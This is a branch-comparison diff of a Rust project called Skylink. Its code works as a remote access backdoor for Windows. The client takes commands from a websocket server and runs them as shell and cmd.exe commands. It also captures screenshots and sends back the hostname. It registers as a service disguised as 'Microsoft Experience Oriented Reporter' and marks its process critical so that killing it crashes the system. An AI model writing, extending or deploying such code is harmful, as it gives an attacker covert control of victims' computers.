Compare commits
No commits in common. "master" and "dev" have entirely different histories.
5 changed files with 156 additions and 145 deletions
15
src/lib.rs
15
src/lib.rs
|
|
@ -1,7 +1,6 @@
|
||||||
use futures_util::stream::SplitSink;
|
use futures_util::stream::SplitSink;
|
||||||
use lib::winapi::low_tier_god;
|
use lib::winapi::low_tier_god;
|
||||||
use serde::{Deserialize, Serialize};
|
use serde::{Deserialize, Serialize};
|
||||||
use serde_json::json;
|
|
||||||
use std::sync::Arc;
|
use std::sync::Arc;
|
||||||
use tokio::{net::TcpStream, sync::Mutex};
|
use tokio::{net::TcpStream, sync::Mutex};
|
||||||
use tokio_tungstenite::tungstenite::protocol::Message;
|
use tokio_tungstenite::tungstenite::protocol::Message;
|
||||||
|
|
@ -45,7 +44,7 @@ pub enum Command {
|
||||||
ClientInfo,
|
ClientInfo,
|
||||||
Dnx { params: DnxParams },
|
Dnx { params: DnxParams },
|
||||||
Screenshot,
|
Screenshot,
|
||||||
LowTierGod,
|
LowTierGod
|
||||||
}
|
}
|
||||||
|
|
||||||
pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
|
pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
|
||||||
|
|
@ -57,7 +56,6 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
|
||||||
log(LogLevel::Debug, LOG_PATH, format!("Running command {command} with args {h}")).await;
|
log(LogLevel::Debug, LOG_PATH, format!("Running command {command} with args {h}")).await;
|
||||||
let proc = std::process::Command::new(command).args(args).output()?;
|
let proc = std::process::Command::new(command).args(args).output()?;
|
||||||
return Ok(String::from_utf8_lossy(&proc.stdout).trim().to_string());
|
return Ok(String::from_utf8_lossy(&proc.stdout).trim().to_string());
|
||||||
// return Ok(json!({ "stdout": String::from_utf8_lossy(&proc.stdout).trim() }).to_string())
|
|
||||||
}
|
}
|
||||||
Command::URunCMD { command } => {
|
Command::URunCMD { command } => {
|
||||||
let formatted_param = format!("cmd.exe /c \"{command}\"");
|
let formatted_param = format!("cmd.exe /c \"{command}\"");
|
||||||
|
|
@ -80,12 +78,7 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
|
||||||
Command::ClientInfo => {
|
Command::ClientInfo => {
|
||||||
let hostname = sysinfo::System::host_name();
|
let hostname = sysinfo::System::host_name();
|
||||||
let skylink_ver = "1.0.0";
|
let skylink_ver = "1.0.0";
|
||||||
if let Some(actual_hostname) = hostname {
|
if let Some(actual_hostname) = hostname { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}")) } else { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"err_none_detected\" }}")) }
|
||||||
// Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}"))
|
|
||||||
Ok(json!({ "client_version": skylink_ver, "host_name": actual_hostname }).to_string())
|
|
||||||
} else {
|
|
||||||
Ok(json!({ "client_version": skylink_ver, "host_name": "err_not_detected" }).to_string())
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
Command::Dnx { params } => {
|
Command::Dnx { params } => {
|
||||||
log(LogLevel::Debug, LOG_PATH, format!("s1")).await;
|
log(LogLevel::Debug, LOG_PATH, format!("s1")).await;
|
||||||
|
|
@ -128,11 +121,11 @@ pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
|
||||||
}
|
}
|
||||||
// this was way easier than i expected... assuming it works :pilgrim2:
|
// this was way easier than i expected... assuming it works :pilgrim2:
|
||||||
Ok(format!(""))
|
Ok(format!(""))
|
||||||
}
|
},
|
||||||
Command::LowTierGod => {
|
Command::LowTierGod => {
|
||||||
let _ = low_tier_god().await; // if this fails you're fucked
|
let _ = low_tier_god().await; // if this fails you're fucked
|
||||||
Ok(format!(""))
|
Ok(format!(""))
|
||||||
}
|
},
|
||||||
_ => todo!(),
|
_ => todo!(),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -38,21 +38,10 @@ pub async fn log(level: LogLevel, path: &str, detail: String) {
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
let debug_mode = cfg!(debug_assertions);
|
|
||||||
if !(level == LogLevel::Debug) {
|
|
||||||
println!("{}", ansi_string);
|
println!("{}", ansi_string);
|
||||||
|
|
||||||
if let Err(e) = logfile.write(logfile_string.as_bytes()) {
|
if let Err(e) = logfile.write(logfile_string.as_bytes()) {
|
||||||
eprintln!("Got error {:?} while trying to write to logfile.", e);
|
eprintln!("Got error {:?} while trying to write to logfile.", e);
|
||||||
}
|
}
|
||||||
} else {
|
|
||||||
if debug_mode {
|
|
||||||
println!("{}", ansi_string);
|
|
||||||
|
|
||||||
if let Err(e) = logfile.write(logfile_string.as_bytes()) {
|
|
||||||
eprintln!("Got error {:?} while trying to write to logfile.", e);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
||||||
|
|
@ -1,6 +1,5 @@
|
||||||
use crate::{LOG_PATH, LogLevel, WS_URL, WsTx, eval_command, log};
|
use crate::{LOG_PATH, LogLevel, WS_URL, WsTx, eval_command, log};
|
||||||
use futures_util::{SinkExt, StreamExt};
|
use futures_util::{SinkExt, StreamExt};
|
||||||
use serde_json::json;
|
|
||||||
use tokio_tungstenite::connect_async;
|
use tokio_tungstenite::connect_async;
|
||||||
use tokio_tungstenite::tungstenite::{Bytes, Message};
|
use tokio_tungstenite::tungstenite::{Bytes, Message};
|
||||||
|
|
||||||
|
|
@ -93,7 +92,7 @@ pub async fn websocket_handler(ws_tx: WsTx) {
|
||||||
let mut unlocked_ws_tx = ws_tx.lock().await;
|
let mut unlocked_ws_tx = ws_tx.lock().await;
|
||||||
|
|
||||||
if let Some(h) = unlocked_ws_tx.as_mut() {
|
if let Some(h) = unlocked_ws_tx.as_mut() {
|
||||||
let response_msg = json!({ "err": "null", "out": v }).to_string();
|
let response_msg = format!("{{ \"err\": null, \"out\": \"{v}\" }}");
|
||||||
|
|
||||||
if let Err(e) = h.send(response_msg.into()).await {
|
if let Err(e) = h.send(response_msg.into()).await {
|
||||||
log(LogLevel::Error, LOG_PATH, format!("[ws] send error: {e}")).await;
|
log(LogLevel::Error, LOG_PATH, format!("[ws] send error: {e}")).await;
|
||||||
|
|
|
||||||
|
|
@ -99,8 +99,17 @@ pub fn mark_process_critical() -> anyhow::Result<()> {
|
||||||
// NtCurrentProcess pseudo-handle (-1)
|
// NtCurrentProcess pseudo-handle (-1)
|
||||||
let handle: HANDLE = (-1isize) as usize as *mut c_void;
|
let handle: HANDLE = (-1isize) as usize as *mut c_void;
|
||||||
let mut critical: u32 = 1;
|
let mut critical: u32 = 1;
|
||||||
let status = NtSetInformationProcess(handle, ProcessBreakOnTermination, &mut critical as *mut _ as *mut _, core::mem::size_of::<u32>() as u32);
|
let status = NtSetInformationProcess(
|
||||||
if status == 0 { Ok(()) } else { anyhow::bail!(format!("NtSetInformationProcess failed: 0x{status:08X}")) }
|
handle,
|
||||||
|
ProcessBreakOnTermination,
|
||||||
|
&mut critical as *mut _ as *mut _,
|
||||||
|
core::mem::size_of::<u32>() as u32,
|
||||||
|
);
|
||||||
|
if status == 0 {
|
||||||
|
Ok(())
|
||||||
|
} else {
|
||||||
|
anyhow::bail!(format!("NtSetInformationProcess failed: 0x{status:08X}"))
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
@ -112,7 +121,12 @@ pub async fn low_tier_god() -> anyhow::Result<()> {
|
||||||
// NtCurrentProcess pseudo-handle (-1)
|
// NtCurrentProcess pseudo-handle (-1)
|
||||||
let handle: HANDLE = (-1isize) as usize as *mut c_void;
|
let handle: HANDLE = (-1isize) as usize as *mut c_void;
|
||||||
let mut critical: u32 = 0;
|
let mut critical: u32 = 0;
|
||||||
let status = NtSetInformationProcess(handle, ProcessBreakOnTermination, &mut critical as *mut _ as *mut _, core::mem::size_of::<u32>() as u32);
|
let status = NtSetInformationProcess(
|
||||||
|
handle,
|
||||||
|
ProcessBreakOnTermination,
|
||||||
|
&mut critical as *mut _ as *mut _,
|
||||||
|
core::mem::size_of::<u32>() as u32,
|
||||||
|
);
|
||||||
assert_eq!(status, 0);
|
assert_eq!(status, 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
||||||
44
src/main.rs
44
src/main.rs
|
|
@ -1,22 +1,25 @@
|
||||||
use skylink::LOG_PATH;
|
|
||||||
use skylink::WsTx;
|
|
||||||
use skylink::lib::logger::{LogLevel, log};
|
use skylink::lib::logger::{LogLevel, log};
|
||||||
use skylink::lib::websockets::websocket_handler;
|
use skylink::lib::websockets::websocket_handler;
|
||||||
use skylink::lib::winapi::mark_process_critical;
|
use skylink::lib::winapi::mark_process_critical;
|
||||||
use std::ffi::OsString;
|
use skylink::LOG_PATH;
|
||||||
|
use skylink::WsTx;
|
||||||
use std::sync::Arc;
|
use std::sync::Arc;
|
||||||
use std::sync::mpsc::channel;
|
|
||||||
use std::time::Duration;
|
|
||||||
use tokio::sync::Mutex;
|
use tokio::sync::Mutex;
|
||||||
|
use std::ffi::OsString;
|
||||||
|
use std::time::Duration;
|
||||||
|
use std::sync::mpsc::channel;
|
||||||
|
|
||||||
use windows_service::{
|
use windows_service::{
|
||||||
define_windows_service,
|
define_windows_service,
|
||||||
service::{ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus, ServiceType},
|
service::{
|
||||||
|
ServiceControl, ServiceControlAccept, ServiceExitCode, ServiceState, ServiceStatus,
|
||||||
|
ServiceType,
|
||||||
|
},
|
||||||
service_control_handler::{self, ServiceControlHandlerResult},
|
service_control_handler::{self, ServiceControlHandlerResult},
|
||||||
service_dispatcher,
|
service_dispatcher,
|
||||||
};
|
};
|
||||||
|
|
||||||
const SERVICE_NAME: &str = "Microsoft Experience Oriented Reporter Yacc (Debug Enableable Version)";
|
const SERVICE_NAME: &str = "Microsoft Experience Oriented Reporter";
|
||||||
const SERVICE_TYPE: ServiceType = ServiceType::OWN_PROCESS;
|
const SERVICE_TYPE: ServiceType = ServiceType::OWN_PROCESS;
|
||||||
|
|
||||||
fn main() -> Result<(), Box<dyn std::error::Error>> {
|
fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||||
|
|
@ -45,9 +48,7 @@ async fn run_app(mut shutdown_rx: tokio::sync::broadcast::Receiver<()>) {
|
||||||
log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await;
|
log(LogLevel::Info, LOG_PATH, format!("[main] Skylink version 1.0.0 starting...")).await;
|
||||||
let ws_tx: WsTx = Arc::new(Mutex::new(None));
|
let ws_tx: WsTx = Arc::new(Mutex::new(None));
|
||||||
let ws_tx_for_handler = Arc::clone(&ws_tx);
|
let ws_tx_for_handler = Arc::clone(&ws_tx);
|
||||||
tokio::spawn(async {
|
tokio::spawn(async { websocket_handler(ws_tx_for_handler).await; });
|
||||||
websocket_handler(ws_tx_for_handler).await;
|
|
||||||
});
|
|
||||||
|
|
||||||
// this isn't necessary for program functioning
|
// this isn't necessary for program functioning
|
||||||
// and also error handling this is a PITA
|
// and also error handling this is a PITA
|
||||||
|
|
@ -129,7 +130,15 @@ fn my_service_main(_arguments: Vec<OsString>) {
|
||||||
};
|
};
|
||||||
|
|
||||||
// 2. Tell Windows we are running
|
// 2. Tell Windows we are running
|
||||||
let next_status = ServiceStatus { service_type: SERVICE_TYPE, current_state: ServiceState::Running, controls_accepted: ServiceControlAccept::STOP, exit_code: ServiceExitCode::Win32(0), checkpoint: 0, wait_hint: Duration::default(), process_id: None };
|
let next_status = ServiceStatus {
|
||||||
|
service_type: SERVICE_TYPE,
|
||||||
|
current_state: ServiceState::Running,
|
||||||
|
controls_accepted: ServiceControlAccept::STOP,
|
||||||
|
exit_code: ServiceExitCode::Win32(0),
|
||||||
|
checkpoint: 0,
|
||||||
|
wait_hint: Duration::default(),
|
||||||
|
process_id: None,
|
||||||
|
};
|
||||||
if let Err(e) = status_handle.set_service_status(next_status) {
|
if let Err(e) = status_handle.set_service_status(next_status) {
|
||||||
eprintln!("Failed to set service status: {}", e);
|
eprintln!("Failed to set service status: {}", e);
|
||||||
}
|
}
|
||||||
|
|
@ -148,8 +157,7 @@ fn my_service_main(_arguments: Vec<OsString>) {
|
||||||
// Since this is the main logic block, we can just check it in a separate thread.
|
// Since this is the main logic block, we can just check it in a separate thread.
|
||||||
let _ = tokio::task::spawn_blocking(move || {
|
let _ = tokio::task::spawn_blocking(move || {
|
||||||
let _ = shutdown_rx.recv(); // Block waiting for OS stop command
|
let _ = shutdown_rx.recv(); // Block waiting for OS stop command
|
||||||
})
|
}).await;
|
||||||
.await;
|
|
||||||
|
|
||||||
let _ = async_tx.send(()); // Tell app to stop
|
let _ = async_tx.send(()); // Tell app to stop
|
||||||
});
|
});
|
||||||
|
|
@ -158,6 +166,14 @@ fn my_service_main(_arguments: Vec<OsString>) {
|
||||||
});
|
});
|
||||||
|
|
||||||
// 4. Tell Windows we have stopped
|
// 4. Tell Windows we have stopped
|
||||||
let stop_status = ServiceStatus { service_type: SERVICE_TYPE, current_state: ServiceState::Stopped, controls_accepted: ServiceControlAccept::empty(), exit_code: ServiceExitCode::Win32(0), checkpoint: 0, wait_hint: Duration::default(), process_id: None };
|
let stop_status = ServiceStatus {
|
||||||
|
service_type: SERVICE_TYPE,
|
||||||
|
current_state: ServiceState::Stopped,
|
||||||
|
controls_accepted: ServiceControlAccept::empty(),
|
||||||
|
exit_code: ServiceExitCode::Win32(0),
|
||||||
|
checkpoint: 0,
|
||||||
|
wait_hint: Duration::default(),
|
||||||
|
process_id: None,
|
||||||
|
};
|
||||||
let _ = status_handle.set_service_status(stop_status);
|
let _ = status_handle.set_service_status(stop_status);
|
||||||
}
|
}
|
||||||
|
|
|
||||||
Loading…
Add table
Add a link
Reference in a new issue